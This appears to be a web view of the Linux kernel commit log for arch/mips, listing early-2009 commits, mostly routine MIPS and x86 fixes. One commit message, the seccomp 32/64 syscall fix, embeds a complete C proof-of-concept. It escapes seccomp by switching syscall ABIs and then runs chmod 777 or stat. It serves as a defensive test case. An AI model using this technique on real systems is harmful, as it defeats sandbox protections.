summaryrefslogtreecommitdiffstats
path: root/arch/mips
Commit message (Collapse)AuthorAgeFilesLines
*---. Merge branches 'x86/apic', 'x86/cpu', 'x86/fixmap', 'x86/mm', 'x86/sched', ↵Ingo Molnar2009-03-0413-105/+119
|\ \ \ | | | | | | | | | | | | 'x86/setup-lzma', 'x86/signal' and 'x86/urgent' into x86/core
| | | * x86-64: seccomp: fix 32/64 syscall holeRoland McGrath2009-03-021-1/+0
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | On x86-64, a 32-bit process (TIF_IA32) can switch to 64-bit mode with ljmp, and then use the "syscall" instruction to make a 64-bit system call. A 64-bit process make a 32-bit system call with int $0x80. In both these cases under CONFIG_SECCOMP=y, secure_computing() will use the wrong system call number table. The fix is simple: test TS_COMPAT instead of TIF_IA32. Here is an example exploit: /* test case for seccomp circumvention on x86-64 There are two failure modes: compile with -m64 or compile with -m32. The -m64 case is the worst one, because it does "chmod 777 ." (could be any chmod call). The -m32 case demonstrates it was able to do stat(), which can glean information but not harm anything directly. A buggy kernel will let the test do something, print, and exit 1; a fixed kernel will make it exit with SIGKILL before it does anything. */ #define _GNU_SOURCE #include <assert.h> #include <inttypes.h> #include <stdio.h> #include <linux/prctl.h> #include <sys/stat.h> #include <unistd.h> #include <asm/unistd.h> int main (int argc, char **argv) { char buf[100]; static const char dot[] = "."; long ret; unsigned st[24]; if (prctl (PR_SET_SECCOMP, 1, 0, 0, 0) != 0) perror ("prctl(PR_SET_SECCOMP) -- not compiled into kernel?"); #ifdef __x86_64__ assert ((uintptr_t) dot < (1UL << 32)); asm ("int $0x80 # %0 <- %1(%2 %3)" : "=a" (ret) : "0" (15), "b" (dot), "c" (0777)); ret = snprintf (buf, sizeof buf, "result %ld (check mode on .!)\n", ret); #elif defined __i386__ asm (".code32\n" "pushl %%cs\n" "pushl $2f\n" "ljmpl $0x33, $1f\n" ".code64\n" "1: syscall # %0 <- %1(%2 %3)\n" "lretl\n" ".code32\n" "2:" : "=a" (ret) : "0" (4), "D" (dot), "S" (&st)); if (ret == 0) ret = snprintf (buf, sizeof buf, "stat . -> st_uid=%u\n", st[7]); else ret = snprintf (buf, sizeof buf, "result %ld\n", ret); #else # error "not this one" #endif write (1, buf, ret); syscall (__NR_exit, 1); return 2; } Signed-off-by: Roland McGrath <roland@redhat.com> [ I don't know if anybody actually uses seccomp, but it's enabled in at least both Fedora and SuSE kernels, so maybe somebody is. - Linus ] Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
| * | | Merge branch 'x86/urgent' into x86/patIngo Molnar2009-03-0112-104/+119
| |\ \ \ |/ / / / | | | _
| * | Revert "MIPS: Print irq handler description"Ralf Baechle2009-02-271-1/+0
| | | | | | | | | | | | This reverts commit 558d1de8ba9ebb1cc3f3062f1371b9330772164f.
| * | MIPS: CVE-2009-0029: Enable syscall wrappers.Ralf Baechle2009-02-2710-98/+110
| | | | | | | | | | | | | | | | | | | | | Thanks to David Daney helping with debugging and testing. Signed-off-by: Ralf Baechle <ralf@linux-mips.org> Signed-off-by: David Daney <ddaney@caviumnetworks.com>
| * | MIPS: Alchemy: In plat_time_init() t reaches -1, tested: 0Roel Kluin2009-02-271-3/+3
| | | | | | | | | | | | | | | | | | | | | | | | | | | With a postfix decrement t reaches -1 rather than 0, so the fall-back will not occur. Signed-off-by: Roel Kluin <roel.kluin@gmail.com> Cc: mano@roarinelk.homelinux.net Signed-off-by: Ralf Baechle <ralf@linux-mips.org>
| * | MIPS: Only allow Cavium OCTEON to be configured for boards that support itDavid Daney2009-02-271-2/+6
| | | | | | | | | | | | | | | | | | Signed-off-by: David Daney <ddaney@caviumnetworks.com> CC: Atsushi Nemoto <anemo@mba.ocn.ne.jp> Signed-off-by: Ralf Baechle <ralf@linux-mips.org>
* | | Merge branch 'core/header-fixes' into x86/headersIngo Molnar2009-02-132-1/+2
|\ \ \ | | | | | | | | | | | | | | | | Conflicts: arch/x86/include/asm/setup.h
| * | | headers_check fix: mips, swab.hJaswinder Singh Rajput2009-02-011-1/+1
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | fix the following 'make headers_check' warnings: usr/include/asm-mips/swab.h:12: include of <linux/types.h> is preferred over <asm/types.h> usr/include/asm-mips/swab.h:18: found __[us]{8,16,32,64} type without #include <linux/types.h> Signed-off-by: Jaswinder Singh Rajput <jaswinderrajput@gmail.com>
| * | | headers_check fix: mips, sigcontext.hJaswinder Singh Rajput2009-02-011-0/+1
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | fix the following 'make headers_check' warning: usr/include/asm-mips/sigcontext.h:57: found __[us]{8,16,32,64} type without #include <linux/types.h> Signed-off-by: Jaswinder Singh Rajput <jaswinderrajput@gmail.com>
* | | | Merge branch 'linus' into x86/apicIngo Molnar2009-02-131-0/+1
|\ \ \ \ | | |/ / | |/| | | | | | | | | | | | | | Conflicts: arch/x86/kernel/acpi/boot.c arch/x86/mm/fault.c
| * | | x86: spinlocks: define dummy __raw_spin_is_contendedKyle McMartin2009-02-091-0/+1
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | Architectures other than mips and x86 are not using ticket spinlocks. Therefore, the contention on the lock is meaningless, since there is nobody known to be waiting on it (arguably /fairly/ unfair locks). Dummy it out to return 0 on other architectures. Signed-off-by: Kyle McMartin <kyle@redhat.com> Acked-by: Ralf Baechle <ralf@linux-mips.org> Acked-by: Ingo Molnar <mingo@elte.hu> Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
* | | | Merge branch 'x86/urgent' into x86/apicIngo Molnar2009-02-0525-174/+287
|\ \ \ \ | |/ / / | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | Conflicts: arch/x86/mach-default/setup.c Semantic merge: arch/x86/kernel/irqinit_32.c Signed-off-by: Ingo Molnar <mingo@elte.hu>
| * | | MIPS: Alchemy: time.c build fixManuel Lauss2009-01-301-1/+1
| | | | | | | | | | | | | | | | | | | | | | | | | | | | In Linus' current -git the cpumask member is now a pointer. Signed-off-by: Manuel Lauss <mano@roarinelk.homelinux.net> Signed-off-by: Ralf Baechle <ralf@linux-mips.org>
| * | | MIPS: RB532: Export rb532_gpio_set_func()Phil Sutter2009-01-302-2/+4
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | This kernel symbol provides a way for drivers to switch on alternate function for a certain GPIO pin. Turning it off is done implicitly when changing the GPIO direction, as that would be fixed when using the given pin als alternate function. Signed-off-by: Phil Sutter <n0-1@freewrt.org> Signed-off-by: Ralf Baechle <ralf@linux-mips.org>
| * | | MIPS: RB532: Update headersPhil Sutter2009-01-302-4/+3
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | Remove the {set,get}_434_reg() prototypes, as the functions have been removed. Also move the prototypes for {get,set}_latch_u5() to the correct place. Signed-off-by: Phil Sutter <n0-1@freewrt.org> Signed-off-by: Ralf Baechle <ralf@linux-mips.org>
| * | | MIPS: RB532: Simplify dev3 initPhil Sutter2009-01-301-12/+2
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | As rb532_dev3_ctl_res is not used by any platform device, it can be dropped when not used for holding the physical address of the device 3 controller. Also a size of one byte should suffice when ioremapping the physical address mentioned above, as only a single byte is being read from and written to it. Signed-off-by: Phil Sutter <n0-1@freewrt.org> Signed-off-by: Ralf Baechle <ralf@linux-mips.org>
| * | | MIPS: RB532: Remove {get,set}_434_reg()Phil Sutter2009-01-301-27/+0
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | These kernel symbols are unused. Also, since dev3 init has been moved to devices.c, set_434_reg() breaks compiling as it uses dev3. Signed-off-by: Phil Sutter <n0-1@freewrt.org> Signed-off-by: Ralf Baechle <ralf@linux-mips.org>
| * | | MIPS: RB532: Move dev3 init code to devices.cPhil Sutter2009-01-302-39/+39
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | This code doesn't belong to gpio.c, as it's completely unrelated to GPIO. As dev1 and dev2 init code is in devices.c, it seems to be a more adequate place. Signed-off-by: Phil Sutter <n0-1@freewrt.org> Signed-off-by: Ralf Baechle <ralf@linux-mips.org>
| * | | MIPS: RB532: Fix set_latch_u5()Phil Sutter2009-01-301-1/+1
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | The data to be written is just a byte, so use writeb instead of writel. Also, dev3.base contains the address, not the data so referencing here is wrong. Signed-off-by: Phil Sutter <n0-1@freewrt.org> Signed-off-by: Ralf Baechle <ralf@linux-mips.org>
| * | | MIPS: RB532: Fix init of rb532_dev3_ctl_resPhil Sutter2009-01-301-2/+3
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | This register just contains the address of the actual resource, so initialisation has to be the same as cf_slot0_res and nand_slot0_res. Signed-off-by: Phil Sutter <n0-1@freewrt.org> Signed-off-by: Ralf Baechle <ralf@linux-mips.org>
| * | | MIPS: RB532: Use driver_data instead of platform_dataPhil Sutter2009-01-301-1/+1
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | As the korina ethernet driver uses platform_get_drvdata() to extract the driver specific data from the platform device, driver_data has to be used here. Signed-off-by: Phil Sutter <n0-1@freewrt.org> Signed-off-by: Ralf Baechle <ralf@linux-mips.org>
| * | | MIPS: RB532: Detect uart type, add platform devicePhil Sutter2009-01-302-1/+27
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | Auto-detection works just fine, so use it instead of specifying the type manually. Also define a platform device for the uart, as suggested by David Daney. Signed-off-by: Phil Sutter <n0-1@freewrt.org> Signed-off-by: Ralf Baechle <ralf@linux-mips.org>
| * | | MIPS: RB532: remove useless CF GPIO initialisationPhil Sutter2009-01-301-6/+0
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | As the pata-rb532-cf driver calls gpio_direction_input(), the calls to rb532_gpio_set_func() and rb532_gpio_direction_input() are not needed since the alternate function is automatically being disabled when changing the GPIO pin direction. The later two calls to rb532_gpio_set_{ilevel,istat}() are implicitly being done by the IRQ initialisation of pata-rb532-cf. Signed-off-by: Phil Sutter <n0-1@freewrt.org> Signed-off-by: Ralf Baechle <ralf@linux-mips.org>
| * | | MIPS: RB532: Auto disable GPIO alternate functionPhil Sutter2009-01-301-4/+4
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | When a driver calls gpio_set_direction_{input,output}(), it obviously doesn't want the alternate function for that pin to be active (as the direction would not matter in that case). This patch ensures alternate function is disabled when the direction is being changed. Signed-off-by: Phil Sutter <n0-1@freewrt.org> Signed-off-by: Ralf Baechle <ralf@linux-mips.org>
| * | | MIPS: RB532: Add set_type() function to IRQ struct.Phil Sutter2009-01-302-0/+30
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | Interrupt Group 4 mapps the GPIO pins enabled as interrupt sources; add defines to make this clear when addressing them later in code. The mapped GPIOs support triggering on either level high or low. To achieve this, the set_type() function calls rb532_gpio_set_ilevel() for interrupts of the above mentioned group. As there is no way to alter the triggering characteristics of the other interrupts, accept level triggering on status high only. (This is just a guess; but as the system boots fine and interrupt-driven devices (e.g. serial console) work with no implications, it seems to be right.) To clear a GPIO mapped IRQ, the source has to be cleared (i.e., the interrupt status bit of the corresponding GPIO pin). This is done inside rb532_disable_irq(). After applying these changes I could undo most of my former "fixes" to pata-rb532-cf. Particularly all interrupt handling can be done generically via set_irq_type() as it was before. Signed-off-by: Phil Sutter <n0-1@freewrt.org> Signed-off-by: Ralf Baechle <ralf@linux-mips.org>
| * | | MIPS: RC32434: Define io_map_base for PCI controllerPhil Sutter2009-01-301-0/+11
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | The code is rather based on trial-and-error than knowledge. Verified Via Rhine functionality in PIO as well as MMIO mode. [Looks sane -- Ralf] Signed-off-by: Phil Sutter <n0-1@freewrt.org> Tested-by: Florian Fainelli <florian@openwrt.org> Signed-off-by: Ralf Baechle <ralf@linux-mips.org>
| * | | MIPS: RB532: Fix bit swapping in rb532_set_bit()Phil Sutter2009-01-301-4/+2
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | The algorithm works unconditionally. If bitval is one, the first line is a no op and the second line sets the bit at offset position. Vice versa, if bitval is zero, the first line clears the bit at offset position and the second line is a no op. Signed-off-by: Phil Sutter <n0-1@freewrt.org> Signed-off-by: Ralf Baechle <ralf@linux-mips.org>
| * | | MIPS: Use hardware watchpoints on all R1 and R2 CPUs.David Daney2009-01-301-1/+1
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | The previous definition inadvertently omits Octeon which currently is treated as an architecture variant separate from MIPS32 and MIPS64. Signed-off-by: David Daney <ddaney@caviumnetworks.com> Signed-off-by: Ralf Baechle <ralf@linux-mips.org>
| * | | MIPS: Read watch registers with interrupts disabled.David Daney2009-01-302-2/+12
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | If a context switch occurred between the watch exception and reading the watch registers, it would be possible for the new process to corrupt their state. Enabling interrupts only after the watch registers are read avoids this race. Signed-off-by: David Daney <ddaney@caviumnetworks.com> Signed-off-by: Ralf Baechle <ralf@linux-mips.org>
| * | | MIPS: Fix a typo in watchpoint register structure.David Daney2009-01-301-1/+1
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | This fixes the ptrace ABI for watch registers, and should allow 64bit kernels to use the watch register support. Signed-off-by: David Daney <ddaney@caviumnetworks.com> Signed-off-by: Ralf Baechle <ralf@linux-mips.org>
| * | | MIPS: TXx9: Add support for TX4939 internal RTCAtsushi Nemoto2009-01-303-0/+24
| | | | | | | | | | | | | | | | | | | | | | | | | | | | Add platform support to use rtc-tx4939 driver. Signed-off-by: Atsushi Nemoto <anemo@mba.ocn.ne.jp> Signed-off-by: Ralf Baechle <ralf@linux-mips.org>
| * | | MIPS: R2: Fix broken installation of cache error handler.Ralf Baechle2009-01-301-2/+6
| | | | | | | | | | | | | | | | Signed-off-by: Ralf Baechle <ralf@linux-mips.org>
| * | | MIPS: IP27: Switch from DMA_IP27 to DMA_COHERENTRalf Baechle2009-01-304-7/+4
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | The special IP27 DMA code selected by DMA_IP27 has been removed a while ago turning DMA_IP27 into almost a nop. Also fixup the broken logic of its last users memcpy.S and memcpy-inatomic.s. Signed-off-by: Ralf Baechle <ralf@linux-mips.org>
| * | | MIPS: Add return value checks to user_termio_to_kernel_termios()Ralf Baechle2009-01-301-28/+72
| | | | | | | | | | | | | | | | | | | | | | | | | | | | And while at it, convert all functions from macros to inline functions for sanity. Signed-off-by: Ralf Baechle <ralf@linux-mips.org>
| * | | MIPS: Octeon: Remove duplicated #includesHuang Weiyi2009-01-301-2/+0
| | | | | | | | | | | | | | | | | | | | Signed-off-by: Huang Weiyi <weiyi.huang@gmail.com> Signed-off-by: Ralf Baechle <ralf@linux-mips.org>
| * | | MIPS: atomic_*(): Change type of intermediate variables.Ralf Baechle2009-01-301-26/+26
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | This shaves of 1912 bytes of an IP27 defconfig kernel and avoids unexpected overflow behaviour in atomic_sub_if_positive. Apply the same changes to the atomic64_* functions for consistency. Signed-off-by: Ralf Baechle <ralf@linux-mips.org>
| * | | MIPS: Port "mm: invoke oom-killer from page fault" from UML / x86Ralf Baechle2009-01-301-15/+6
| | | | | | | | | | | | | | | | | | | | | | | | Original commit 1c0fe6e3bda0464728c23c8d84aa47567e8b716c. Signed-off-by: Ralf Baechle <ralf@linux-mips.org>
| * | | MIPS: Avoid destructive invalidation on partial cachelines.Ralf Baechle2009-01-301-1/+21
| | | | | | | | | | | | | | | | | | | | | | | | See discussion e9c3a7c20901051031y528d0d31r18d44c5096c59e0@mail.gmail.com. Signed-off-by: Ralf Baechle <ralf@linux-mips.org>
| * | | MIPS: SMTC: Fix build after recent creditial changes.Ralf Baechle2009-01-301-1/+2
| |/ / | | | | | | | | | Signed-off-by: Ralf Baechle <ralf@linux-mips.org>
* | | Merge branch 'linus' into core/percpuIngo Molnar2009-01-277-10/+10
|\ \ \ | |/ / | | | | | | | | | Conflicts: arch/x86/kernel/setup_percpu.c
| * | eeprom: More consistent symbol namesJean Delvare2009-01-267-10/+10
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | Now that all EEPROM drivers live in the same place, let's harmonize their symbol names. Also fix eeprom's dependencies, it definitely needs sysfs, and is no longer experimental after many years in the kernel tree. Signed-off-by: Jean Delvare <khali@linux-fr.org> Acked-by: Wolfram Sang <w.sang@pengutronix.de> Cc: David Brownell <dbrownell@users.sourceforge.net>
* | | Merge branch 'x86/mm' into core/percpuIngo Molnar2009-01-213-4/+1
|\ \ \ | |/ / | | | | | | | | | Conflicts: arch/x86/mm/fault.c
| * | Merge branch 'syscalls' of git://git390.osdl.marist.edu/pub/scm/linux-2.6Linus Torvalds2009-01-141-1/+1
| |\ \ | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | * 'syscalls' of git://git390.osdl.marist.edu/pub/scm/linux-2.6: (44 commits) [CVE-2009-0029] s390 specific system call wrappers [CVE-2009-0029] System call wrappers part 33 [CVE-2009-0029] System call wrappers part 32 [CVE-2009-0029] System call wrappers part 31 [CVE-2009-0029] System call wrappers part 30 [CVE-2009-0029] System call wrappers part 29 [CVE-2009-0029] System call wrappers part 28 [CVE-2009-0029] System call wrappers part 27 [CVE-2009-0029] System call wrappers part 26 [CVE-2009-0029] System call wrappers part 25 [CVE-2009-0029] System call wrappers part 24 [CVE-2009-0029] System call wrappers part 23 [CVE-2009-0029] System call wrappers part 22 [CVE-2009-0029] System call wrappers part 21 [CVE-2009-0029] System call wrappers part 20 [CVE-2009-0029] System call wrappers part 19 [CVE-2009-0029] System call wrappers part 18 [CVE-2009-0029] System call wrappers part 17 [CVE-2009-0029] System call wrappers part 16 [CVE-2009-0029] System call wrappers part 15 ...
| | * | [CVE-2009-0029] Rename old_readdir to sys_old_readdirHeiko Carstens2009-01-141-1/+1
| | | | | | | | | | | | | | | | | | | | | | | | This way it matches the generic system call name convention. Signed-off-by: Heiko Carstens <heiko.carstens@de.ibm.com>
| * | | byteorder: make swab.h include asm/swab.h like a regular headerHarvey Harrison2009-01-142-3/+0
| |/ / | | | | | | | | | | | | | | | | | | | | | | | | Add swab.h to kbuild.asm and remove the individual entries from each arch, mark as unifdef as some arches have some kernel-only bits inside. Signed-off-by: Harvey Harrison <harvey.harrison@gmail.com> Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
| | |
| \ \
*-. \ \ Merge branches 'cpus4096', 'x86/cleanups' and 'x86/urgent' into x86/percpuIngo Molnar2009-01-158-10/+15
|\ \ \ \ | |_|/ / |/| | / | | |/
| * | irq: update all arches for new irq_desc, fixMike Travis2009-01-155-5/+9
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | Impact: fix build errors Since the SPARSE IRQS changes redefined how the kstat irqs are organized, arch's must use the new accessor function: kstat_incr_irqs_this_cpu(irq, DESC); If CONFIG_SPARSE_IRQS is set, then DESC is a pointer to the irq_desc which has a pointer to the kstat_irqs. If not, then the .irqs field of struct kernel_stat is used instead. Signed-off-by: Mike Travis <travis@sgi.com> Signed-off-by: Ingo Molnar <mingo@elte.hu>
| * | irq: update all arches for new irq_descMike Travis2009-01-124-5/+6
| |/ | | | | | | | | | | | | | | | | Impact: cleanup, update to new cpumask API Irq_desc.affinity and irq_desc.pending_mask are now cpumask_var_t's so access to them should be using the new cpumask API. Signed-off-by: Mike Travis <travis@sgi.com>
* | MIPS: Only write c0_framemask on CPUs which have this register.Ralf Baechle2009-01-111-1/+4
| | | | | | | | Signed-off-by: Ralf Baechle <ralf@linux-mips.org>
OpenPOWER on IntegriCloud